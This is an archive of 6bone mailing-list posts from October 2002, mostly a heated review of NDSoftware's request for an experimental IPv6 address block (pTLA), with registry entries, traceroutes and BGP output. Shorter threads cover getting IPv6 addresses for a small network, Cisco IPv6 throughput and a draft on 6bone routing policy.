> address space.    Euro6IX is not an LIR, nor even a legal entity.

AMS-IX also has a pTLA:
8<---------------
inet6num:     3FFE:3000::/24
netname:      AMS-IX
descr:        pTLA delegation for the 6bone
--------------->8

But a pTLA is experimental, IX's are (hopefully :) productional,
which is why they need/want to have sTLA's.

Also note that looking at:
http://www.euro6ix.org/ingles/partners/partners.php
makes Euro6IX much more a legal entity than anything "NDSoftware" is
doing.

Greets,
 Jeroen


From fink@es.net Sat Oct 19 15:32:46 2002
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From: Bob Fink <fink@es.net>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October
  2002
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6bone Folk,

Please keep the discussion from getting personal, or becoming defamatory or 
using swear words.

Many folks watch how we carry out our 6bone business; it is important that 
we remain open, objective and willing to hear all sides.


Thanks,

Bob


From nicolas.deffayet@ndsoftware.net Sat Oct 19 15:43:24 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Christian Nickel <dragon@tdoi.org>, Bob Fink <fink@es.net>,
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On Sat, 2002-10-19 at 23:58, John Fraizer wrote:

John,

> If your routers are full, BUILD ANOTHER ROUTER to add to your v6 core.  
> You don't drop one peer to bring on another.  Your new "policy" sucks,
> plain and simple and for this reason, I can NOT support your request for a
> pTLA.

We don't have budget for build anoter 6bone router.
We want start a pre-production network, all new routers will be for
pre-production network.

Yes, our new policy sucks but i don't have better solution.

I know that my email to this peers wasn't diplomatic.

You provide to an user a BGP4+ peering, after you can't keep the tunnel
for technical reasons (routers full), do you will like that this user
troll about you on public mailing-list ?

One of users who have received my email, contact me (no on public
mailing-list), for get many informations about this problem.
He reply to me "I understand your problem, good luck for your IPv6
network.". If we have free bgp session on our routers later, i will
recontact him.
It's a normal reply. Christian, don't contact me but troll on public
mailing-listing about me, it's not a normal reply, it's a revenge.


> Just an FYI: You violated OUR peering policy when you dropped your peering
> session to change your ASN.  If you investigate a bit, you'll notice that
> it is possible to have Zebra speak as multiple ASNs at once.  You simply
> changed your ASN and "poof" the session dropped.  No biggie.  Just thought
> I would bring that to your attention.

With Zebra 0.93b multi-as on the same router don't work fine.

I have send to you a email, i wait 24 hours, no reply, reply of other, i
switch the ASN of the router.


Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet@ndsoftware.net Sat Oct 19 15:44:49 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Tim Chown <tjc@ecs.soton.ac.uk>
Cc: 6bone@ISI.EDU
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On Sat, 2002-10-19 at 23:38, Tim Chown wrote:

> A similar question came up about a Swedish university a while back that
> wanted a pTLA to "do BGP" and have a lot of peers.  I don't recall the
> result of their pTLA application.

pTLA allocated: http://whois.6bone.net/cgi-bin/whois?SSVL

Best Regards,

Nicolas DEFFAYET


From solaris@swissirc.ch Sat Oct 19 15:51:51 2002
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Date: Sun, 20 Oct 2002 00:51:23 +0200
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Subject: [6bone] How i get IP V6 Addresses ?
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What is the best way to get own IP V6 Addresses for a smale IRC Network in
switzerland ?

What i need to pay ?

Thanks Marcel





From solaris@swissirc.ch Sat Oct 19 15:52:02 2002
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What is the best way to get own IP V6 Addresses for a smale IRC Network in
switzerland ?

What i need to pay ?

Thanks Marcel





From pekkas@netcore.fi Sat Oct 19 16:23:05 2002
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Date: Sun, 20 Oct 2002 02:22:48 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Paul Aitken <paitken@cisco.com>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
   6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sat, 19 Oct 2002, Paul Aitken wrote:
> Nicolas DEFFAYET wrote:
> 
> > I don't have Cisco or Juniper routers because i don't have the budget
> > for that. You can offer me a Cisco if you want...
> 
> http://www.cisco.com/warp/public/csc/refurb_equipment

Well, to be frank, I'm not sure why anyone would want Cisco equipment for
IPv6, old or new.  They hardly seem to be able to manage 30 Mbit/s of IPv6
traffic :-(.  I guess this is enough for some, for us it isn't :-(.

And no, we're not using "crap" (for some, usefull stuf for others) like
4x00's, 2x00's etc. like many seem to be doing: rather, like 7200, 7500,
12xxx, etc.

And yes, I've tried to contact ipv6-support@cisco.com to try to find out
whether these are really the bottlenecks, no replies.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From pekkas@netcore.fi Sat Oct 19 16:25:39 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@EnterZone.Net>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, Bob Fink <fink@es.net>,
   6BONE List <6bone@mailman.isi.edu>
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On Sat, 19 Oct 2002, John Fraizer wrote:
[...]
> Yet another reason I do NOT support your application for a
> pTLA.

Past experience seems to have shown that unless it's in RFC2772, support
for or against have little impact.

I suggest one should search for counter-arguments there if you want to
block the pTLA allocation.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From infox@infox.ath.cx Sat Oct 19 17:11:19 2002
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It is free, I would recommend you start here: 
http://www.6bone.net/6bone_hookup.html

-Matt

Marcel Stutz wrote:

>What is the best way to get own IP V6 Addresses for a smale IRC Network in
>switzerland ?
>
>What i need to pay ?
>
>Thanks Marcel
>
>
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>
>
>  
>




From pekkas@netcore.fi Sat Oct 19 17:51:30 2002
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Date: Sun, 20 Oct 2002 03:51:22 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: 6bone@ISI.EDU
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Subject: [6bone] very drafty draft on 6bone routing mess
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Hello,

The so-called 6bone-mess has been discussed here back and forth, with no 
apparent result or success.

Based on experiences gained in 6NET and seeing how others are doing, I got 
motivated enough to write something down on the subject.

A very drafty draft (result of 3 hours of torturing the keyboard in middle
of the night :-) on 6bone routing policy issues which I believe are
causing current problems is available at:

http://www.netcore.fi/pekkas/ietf/6bone-mess.txt

There are also some ideas, but nothing specific, how one could get around
those.

Before I want to go make this something a bit less drafty I'd like to get
opinions and thoughts on this: should we try to do something to try to
ensure IPv6 Internet would actually get usable one of these years (it sure
ain't now!)

Comments, please.

(Anyone with more than 5 peers with transit should feel the sting of guilt
now. :-)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From tvo@EnterZone.Net Sun Oct 20 01:42:25 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On 20 Oct 2002, Nicolas DEFFAYET wrote:

> On Sat, 2002-10-19 at 23:58, John Fraizer wrote:
> 
> John,
> 
> > If your routers are full, BUILD ANOTHER ROUTER to add to your v6 core.  
> > You don't drop one peer to bring on another.  Your new "policy" sucks,
> > plain and simple and for this reason, I can NOT support your request for a
> > pTLA.
> 
> We don't have budget for build anoter 6bone router.
> We want start a pre-production network, all new routers will be for
> pre-production network.
> 

OK.  What keeps you from putting 6bone peers and your
"pre-production" peers on the same router?  Personal choice.  There is no
technical barrior to doing so.  You are self imposing the barrior based on
policy.


> Yes, our new policy sucks but i don't have better solution.
> 
> I know that my email to this peers wasn't diplomatic.
> 
> You provide to an user a BGP4+ peering, after you can't keep the tunnel
> for technical reasons (routers full), do you will like that this user
> troll about you on public mailing-list ?

First of all, trolling is the act of LOOKING for something.  I don't think
that anyone has been LOOKING for anything from you besides answers to
questions to which you have been highly evasive.  Second of all, if you
can't take the heat of having a user talk about you in a public forum, you
had might as well drop out and cut your losses.  If you ever run a
_real_ network, it's going to happen.  I don't care how perfect your
network performs.  Some customer somewhere is going to experience a
problem, be it theirs, yours or something 15 as-hops away from you and
they're going to blame YOU for it in a very loud way on a public
forum.  Childish replies such as those you've presented the list with
thusfar only serve to prove their point and do NOTHING to help convince
myself or others that you are a good candidate for a peer, let alone one
with a pTLA.


> 
> One of users who have received my email, contact me (no on public
> mailing-list), for get many informations about this problem.
> He reply to me "I understand your problem, good luck for your IPv6
> network.". If we have free bgp session on our routers later, i will
> recontact him.
> It's a normal reply. Christian, don't contact me but troll on public
> mailing-listing about me, it's not a normal reply, it's a revenge.

My, you're full of yourself, aren't you?  Do you for some reason think
that the person in question can't get a peering session with any number of
other 6bone participants?  From what I saw, he was venting about the WAY
you did it rather than the fact that you did it.

> 
> > Just an FYI: You violated OUR peering policy when you dropped your peering
> > session to change your ASN.  If you investigate a bit, you'll notice that
> > it is possible to have Zebra speak as multiple ASNs at once.  You simply
> > changed your ASN and "poof" the session dropped.  No biggie.  Just thought
> > I would bring that to your attention.
> 
> With Zebra 0.93b multi-as on the same router don't work fine.
> 

Strange.  I haven't seen anyone make a bug report to the Zebra list
regarding this problem.  I have also personally used this feature in our
testbed without issue.  If you're having issues with the _FREE_ routing
software that you're using, don't you suppose that you have an obligation
to at least post to the list regarding the issue so that those who work on
the code can actually try to diagnose and fix the problem?

> I have send to you a email, i wait 24 hours, no reply, reply of other, i
> switch the ASN of the router.
> 

The only email I received from you cam AFTER you had changed your ASN on
your bgp config.  I am fairly certain that there was no issue with our
mailserver(s) as my standard 200-300 emails per day have been constant for
several years now.


Now. let me pose some questions to you.  Your open, honest answers to
these questions will determine my vote (and perhaps many others) on your
pTLA application:

(1) Who are the following and what are their qualifications to be
technical contacts?  The last thing I want to hear on the other end of the
phone line when I contact someones technical contacts is "I'm sorry.  
He's at school.  I'll tell him you called."  Do these people all have
enable on your routers?  Do they understand v6 routing?  Would they know
what I was talking about if I told them that you were leaking leaking
routes or that your peering session was flapping?

person:       Chris BURTON
address:      NDSoftware
address:      57 rue du president Wilson
address:      92300 Levallois-Perret
address:      France
phone:        +33 671887502
e-mail:       chris.burton@ndsoftware.net
nic-hdl:      CB2-6BONE
notify:       notify@ndsoftwarenet.com
mnt-by:       MNT-NDSOFTWARE
changed:      chris.burton@ndsoftware.net 20021015
source:       6BONE


person:       Bruno NASH
address:      NDSoftware
address:      57 rue du president Wilson
address:      92300 Levallois-Perret
address:      France
phone:        +33 671887502
e-mail:       bruno.nash@ndsoftware.net
nic-hdl:      BN3-6BONE
notify:       notify@ndsoftwarenet.com
mnt-by:       MNT-NDSOFTWARE
changed:      bruno.nash@ndsoftware.net 20021015
source:       6BONE


person:       Myriam MOREL
address:      NDSoftware
address:      57 rue du president Wilson
address:      92300 Levallois-Perret
address:      France
phone:        +33 671887502
e-mail:       myriam.morel@ndsoftware.net
nic-hdl:      MM14-6BONE
notify:       notify@ndsoftwarenet.com
mnt-by:       MNT-NDSOFTWARE
changed:      myriam.morel@ndsoftware.net 20021015
source:       6BONE


person:       Mike CHENEY
address:      NDSoftware
address:      57 rue du president Wilson
address:      92300 Levallois-Perret
address:      France
phone:        +33 671887502
e-mail:       mike.cheney@ndsoftware.net
nic-hdl:      MC7-6BONE
notify:       notify@ndsoftwarenet.com
mnt-by:       MNT-NDSOFTWARE
changed:      mike.cheney@ndsoftware.net 20021015
source:       6BONE


(2) Do you have a network plan?  IE; How are your current /32's
dispersed?

(3) Do _you_ have a network or are you simply colocated someplace on
someone elses network?

If you're colocated, do you #1 have 24hr _physical_ access to the
equipment?  Can you be onsite within a reasonable amount of time in the
event that physical access to equipment is required to remedy a
problem?  If not, do you have a "remote hands" contract in place?

This is a serious pet peeve with me.  There are far too many
"posers" claiming to have networks and datacenters that in truth have a
19" x 19" space in someone elses datacenter.

Looking a bit at v4 address registries, I see the following:

parcr1.fr.ndsoftwarenet.net (213.91.4.3)

inetnum:      213.91.4.0 - 213.91.4.127
netname:      FR-TEASER
descr:        FIRSTREAM.NET hosted servers
country:      FR
admin-c:      HRA81-RIPE
tech-c:       HRA81-RIPE
rev-srv:      ns0.teaser.net
rev-srv:      ns1.teaser.net
status:       ASSIGNED PA
remarks:      Please report all abuse related issues to
remarks:      abuse@firstream.net
notify:       hostmaster@teaser.net
mnt-by:       FT-NOC
changed:      at@teaser.net 20011220
source:       RIPE


parcr2.fr.ndsoftwarenet.net (62.4.18.114)

inetnum:      62.4.16.0 - 62.4.20.255
netname:      NERIM-1
descr:        Nerim is an Internet Service Provider
descr:        based in France
country:      FR
admin-c:      RB7192-RIPE
tech-c:       RB7192-RIPE
rev-srv:      maridia.nerim.net
rev-srv:      metroid.nerim.net
rev-srv:      noemie.nerim.net
status:       ASSIGNED PA
notify:       ripe@isdnet.net
mnt-by:       ISDNET-NOC
changed:      dly@isdnet.net 19991201
changed:      dly@isdnet.net 20001012
changed:      kbrebion@isdnet.net 20001018
source:       RIPE



(4) If you don't have your own network, how do you propose to provide
"production quality" 6bone backbone services?  


I submit that without your own portable v4 address space for an endpoint
of tunnels, you're at the mercy of your upstreams.  If they require you to
renumber, every one of your peers will have to reconfigure their tunnels.

(5) I find this strange.  Can you explain it?

$ traceroute6 parcr1.fr.ndsoftwarenet.net
traceroute to parcr1.fr.ndsoftwarenet.net (3ffe:81f1:2:1::1) from 3ffe:4010:ff09::1, 30 hops max, 16 byte packets
 1  enterzone-ndsoftware-gw.paris.ipv6.enterzone.net (3ffe:4010:ff09::2)  421.357 ms  438.313 ms  419.447 ms
 2  bb1v6-sgr-tu0.muc.ipv6.eurocyber.net (2001:768:e:12::2)  492.543 ms  555.586 ms  530.186 ms
 3  bb1v6-rkp-tu7.muc.ipv6.eurocyber.net (2001:768:e:14::1)  531.863 ms  603.233 ms  606.157 ms
 4  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  1030.55 ms  1141.35 ms  1132.64 ms
 5  bb1v6-rkp-tu7.muc.ipv6.eurocyber.net (2001:768:e:14::1)  724.858 ms  772.424 ms  725.722 ms
 6  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  1212.88 ms  1316.88 ms  1484.25 ms
 7  bb1v6-rkp-tu7.muc.ipv6.eurocyber.net (2001:768:e:14::1)  881.822 ms  924.786 ms  892.842 ms

Nice routing loop there.  Have you considered: (1) Not having a v6 default on your border
router. (2) Having a connection between your two border routers and running an IGP between them?

(6) It can't be a good sign for a "production quality" network when your
route-server can't maintain a BGP peering session with your own routers:

route-server.ndsoftwarenet.net> sh ipv6 bgp sum
BGP router identifier 10.0.1.2, local AS number 25358
246 BGP AS-PATH entries
9 BGP community entries

Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down  State/PfxRcd
3ffe:81f1:0:1::1
                4 25358       0    2139        0    0    0 00:04:12 OpenSent
3ffe:81f1:0:2::1
                4 25358   13207    5127        0    0    0 3d08h30m      310

Total number of neighbors 2


(7) "a. Fully maintained, up to date, 6Bone Registry entries for their
    ipv6-site inet6num, mntner, and person objects, including each
    tunnel that the Applicant has."

You've got parcr3.fr.ndsoftwarenet.net listed in your ipv6-site object but:

$ traceroute parcr3.fr.ndsoftwarenet.net
traceroute: unknown host parcr3.fr.ndsoftwarenet.net

$ traceroute6 parcr3.fr.ndsoftwarenet.net
traceroute: unknown host parcr3.fr.ndsoftwarenet.net


(8) With regards to #7 above, I suggest that with your recent policy
change regarding BGP peers, you remove the following line from your
ipb6-site object:

remarks:      NDSoftware have an open peering policy.


(9) What is your "potential user community" IE; What gap are you going to
be filling in the service delivery arena that is not already served by
other pTLAs?

(10) What purpose will having your OWN pTLA serve that your current 3
/32's don't already serve?  Keep in mind that _wanting_ your own pTLA !=
_NEEDING_ your own pTLA and _NEEDING_ to announce a pTLA into the DFZ
because it's a requirement for you to have your own ASN is _not_
sufficient justification for you to be issued a pTLA.

(11) "d. A fully maintained, and reliable, IPv6-accessible system
      providing, at a mimimum, one or more web pages, describing the
      Applicant's IPv6 services.  This server must be IPv6 pingable."

Looking at http://noc.ndsoftwarenet.com, information about what
NDSOFTWARE actually *does* is strangely absent.  Your peering-policy link
returns a 404 error. Your route-filtering link returns a 404 error. Your
usenet-policy link returns a 404 error.  Register, Login and Help all
point to your bgp-communities page, as do your "go" button and the
advanced-search link.  Home, Products & Services,  Support, Download, Buy
and Contact links at the top page simply link the whatever page you're
currently viewing.  There is no information about what your
"company?" actually does or offers to do even.


(12) "b. Fully maintained, and reliable, BGP4+ peering and connectivity
     between the Applicant's boundary router and the appropriate
     connection point into the 6Bone. This router must be IPv6
     pingable. This criteria is judged by members of the 6Bone
     Operations Group at the time of the Applicant's pTLA request.

We have currently 101 BGP4+ sessions."

Looking at parcr1.fr.ndsoftwarenet.net, I count 87 neighbors, 15 of which
are down, 3 of which have never established an adjacency, two of the 87
peering sessions being yourself. (84 ?real? sessions on this router.)

Looking at parcr2.fr.ndsoftwarenet.net, I count 11 neighbors, 4 of which
are down with two of the 11 peering sessions being yourself.  (9
?real? peering sessions.)

I don't know about in France but, in the US, 84 + 9 = 93 peering sessions,
not 101 peering sessions.

Can you perhaps explain your math to us?


(13) Of those 84 peering sessions, have you verified that they have
appropriate entries in their ipv6-site objects for the tunnel/connection
or that they have ipv6-site objects AT-ALL?  Before you answer this, take
a look at this:


IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> 213.121.24.91 UK6X BGP4+
*** UK6X: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> ge3-1.er1a.fra2.de.mfnx.net
DE-TRMD-SBI-1 BGP4+
*** DE-TRMD-SBI-1: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net ->
modemcable049.63-201-24.mtl.mc.videotron.ca SYNCROS BGP4+
*** SYNCROS: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> worldakt.com WORLDAKT BGP4+
*** WORLDAKT: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net ->
user-212-88-249-12.tvcablenet.be WOOF BGP4+
*** WOOF: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> tms.dicp.de DICP BGP4+
*** DICP: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> 194.139.3.28 DE-TRMD BGP4+
*** DE-TRMD: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> pc65.bydgoszcz.sdi.tpnet.pl
MUSIALEK STATIC
*** MUSIALEK: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> thunderbird.e-concepts.be
ERALY STATIC
*** ERALY: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> mirror.seabone.net CACI BGP4+
*** CACI: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net ->
port5.ds1-sby.adsl.cybercity.dk FABBIONE BGP4+
*** FABBIONE: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> 212.81.112.99 DARKSNOW BGP4+
*** DARKSNOW: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> ipv4.nerime.net NERIME BGP4+
*** NERIME: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net ->
pa76.miedzyrzec-podlaski.sdi.tpnet.pl EXORCIST STATIC
*** EXORCIST: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> quint.netisland.net TOREN
STATIC
*** TOREN: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> chabrowa.net CHABROWA STATIC
*** CHABROWA: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> pa1.wroclaw.sdi.tpnet.pl
ANDRE-WRO STATIC
*** ANDRE-WRO: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> b1rtr.cyf-kr.edu.pl CYFRONET
BGP4+
*** CYFRONET: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> 212.49.128.151 BTIGNITE BGP4+
*** BTIGNITE: Destination site does not appear in registry - check
spelling against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> br2.den1.amisp.net AISP BGP4+
*** AISP: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> ipv6.asol.com.ph ASPI-PH BGP4+
*** ASPI-PH: Destination site does not appear in registry - check spelling
against registry and remove any extra text

IPv6 in IPv4 parcr1.fr.ndsoftwarenet.net -> ns1.labatut.net LABATUT BGP4+
*** LABATUT: Destination site does not appear in registry - check spelling
against registry and remove any extra text





Part of properly maintaining _YOUR_ ipv6-site object is making sure that
you don't reference an object that doesn't exist.  If someone is unable or
unwilling to create & maintain an ipv6-site object, do you really feel
that they are a good peering candidate?  I certainly don't.


Last but not least:


(13) Just for my own personal amusement... You have a VPI/VCI pair field
in your list of public peering points that you participate in or plan to
participate in on your website but, your interconnects are all listed as
100M FE.  Um, what kind of ethernet are you using that supports VPI/VCI or
did you just think it would look "cool" to have that field?




Nicolas, I spent quite a bit of time and effort composing this email and I
feel that I have asked valid questions of you.  Please answer them
concisely and accurately.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From pgrosset@cisco.com Sun Oct 20 03:40:00 2002
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Date: Sun, 20 Oct 2002 12:39:39 +0200
To: Pekka Savola <pekkas@netcore.fi>, tdejongh@cisco.com, gcarvalh@cisco.com,
   jbutler@cisco.com
From: Patrick Grossetete <pgrosset@cisco.com>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October
  2002
Cc: Paul Aitken <paitken@cisco.com>,
   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
   6BONE List <6bone@mailman.isi.edu>
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         Pekka,

         Your comment on the performances is not accurate. You reported a 
26 Mb/s throughput using TTCP between
2 Linux hosts, asking for feedback about that. We just tested the same 
configuration but using IXIA traffic generators
and got different numbers really different from yours. I asked Theo to 
provide you an official answer, so I expect
you will update the list later.

Patrick

At 02:22 AM 20-10-02 +0300, Pekka Savola wrote:
>On Sat, 19 Oct 2002, Paul Aitken wrote:
> > Nicolas DEFFAYET wrote:
> >
> > > I don't have Cisco or Juniper routers because i don't have the budget
> > > for that. You can offer me a Cisco if you want...
> >
> > http://www.cisco.com/warp/public/csc/refurb_equipment
>
>Well, to be frank, I'm not sure why anyone would want Cisco equipment for
>IPv6, old or new.  They hardly seem to be able to manage 30 Mbit/s of IPv6
>traffic :-(.  I guess this is enough for some, for us it isn't :-(.
>
>And no, we're not using "crap" (for some, usefull stuf for others) like
>4x00's, 2x00's etc. like many seem to be doing: rather, like 7200, 7500,
>12xxx, etc.
>
>And yes, I've tried to contact ipv6-support@cisco.com to try to find out
>whether these are really the bottlenecks, no replies.
>
>--
>Pekka Savola                 "Tell me of difficulties surmounted,
>Netcore Oy                   not those you stumble over and fall"
>Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone

____________________________________________
Patrick Grossetete
Cisco Systems
Internet Technology Division (ITD) - Product Manager
			
Phone/Vmail: 33.1.58.04.61.52	
Fax: 33.1.58.04.61.00	
mobile: 33.6.19.98.51.31	
Email:pgrosset@cisco.com	
11 Rue Camille Desmoulins
92782 Issy les Moulineaux Cedex 9
France
____________________________________________


From gert@Space.Net Sun Oct 20 03:59:06 2002
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From: Gert Doering <gert@space.net>
To: Marcel Stutz <solaris@swissirc.ch>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] How i get IP V6 Addresses ?
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hi,

On Sun, Oct 20, 2002 at 12:51:23AM +0200, Marcel Stutz wrote:
> What is the best way to get own IP V6 Addresses for a smale IRC Network in
> switzerland ?
> 
> What i need to pay ?

There are some ISPs in switzerland that already offer IPv6 services.  You
might want to consider just hooking up to one of them, and get addresse
from this upstream ISP.

Unless you're connected to two different ISPs (or plan to do that very
soon), it's not a good idea to get your own address block and announce 
that to the whole world.  Only as a last resort if you can't find a
suitable upstream ISP.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Hi,

On Sat, Oct 19, 2002 at 06:02:03PM +0200, Christian Nickel wrote:
>    the annoyed german ipv6 community

I just want to mention that I consider me a part of the "german IPv6
community", and I'm not annoyed.

I refused to peer with private ASNs from the very beginning, and I can
only strongly recommend this to everyone else (if you insist on peering,
at least don't give them transit).  Private ASNs *hurt*.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Sun Oct 20 04:13:20 2002
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From: Gert Doering <gert@space.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, 6bone@ISI.EDU
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Hi,

On Sat, Oct 19, 2002 at 10:49:50PM +0200, Jeroen Massar wrote:
> getting that space. Notez bien that even RIPE can't request space from
> thereselves as they are not a LIR. Odd rules in a odd world.

The rules are not that odd.  

The RIPE NCC network is not "special" in any way requiring their own /32.

If we have rules that deny "normal companies" their /32 and urge them
to go to their upstreams, this rule has to be applied to all (!) 
end sites equally.  From a network perspective, the RIPE NCC is an
*end site*.  They are not an ISP, they don't do *LIR* functions, so
they don't qualify for an sTLA - and technicallywise, they don't *need*
one either.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nicolas.deffayet@ndsoftware.net Sun Oct 20 04:51:43 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: John Fraizer <tvo@EnterZone.Net>
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On Sun, 2002-10-20 at 10:42, John Fraizer wrote: 

> Now. let me pose some questions to you.  Your open, honest answers to
> these questions will determine my vote (and perhaps many others) on your
> pTLA application:
> 
> (1) Who are the following and what are their qualifications to be
> technical contacts?  The last thing I want to hear on the other end of the
> phone line when I contact someones technical contacts is "I'm sorry.  
> He's at school.  I'll tell him you called."  Do these people all have
> enable on your routers?  Do they understand v6 routing?  Would they know
> what I was talking about if I told them that you were leaking leaking
> routes or that your peering session was flapping?

There is a common phone contact for a best manegement. 

I'm NOT at school because i'm NOT a kid. 
I work for NDSoftware all the day. 

All tech contact in NDSoftware's whois have a root access on each
routers. They understand v4/v6 routing, unix administration,... 

> (2) Do you have a network plan?  IE; How are your current /32's
> dispersed?

Yes we have a network plan. Our network plan is not clear for this 3
/32, but now i know my errors of IP management, and NDSoftware pTLA
address plan will be clear. 

We have 3 /32, but 1 /32 is enough. We have 3 /32 for have a backup if
one of our upstream can't provide us anymore a BGP peering. 

> (3) Do _you_ have a network or are you simply colocated someplace on
> someone elses network?

The both currently because our network is not finish. 

> If you're colocated, do you #1 have 24hr _physical_ access to the
> equipment?  Can you be onsite within a reasonable amount of time in the
> event that physical access to equipment is required to remedy a
> problem?  If not, do you have a "remote hands" contract in place?

Yes, we have an 24x7 access. 

> (4) If you don't have your own network, how do you propose to provide
> "production quality" 6bone backbone services?  

No need to have your network for provide a production quality service...
> I submit that without your own portable v4 address space for an endpoint
> of tunnels, you're at the mercy of your upstreams.  If they require you to
> renumber, every one of your peers will have to reconfigure their tunnels.

Yes, i know. 

> (5) I find this strange.  Can you explain it?
> 
> Nice routing loop there.  Have you considered: (1) Not having a v6 default on your border
> router. (2) Having a connection between your two border routers and running an IGP between them?

Ops, fixed. 

I have forgot to add "ifconfig lo add 3ffe:81f1:2:1::1/64" in the init
scripts of parcr1.fr.ndsoftwarenet.net. 

2  eth1-0-parcr2.fr.ndsoftwarenet.net (3ffe:81f1:12:1::1)  1.023 ms 
1.068 ms  0.961 ms 
3  lo0-0-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:2:1::1)  189.781 ms 
227.238 ms  212.632 ms 

> (6) It can't be a good sign for a "production quality" network when your
> route-server can't maintain a BGP peering session with your own routers:

Yes, i know, it's because i use peer group. 
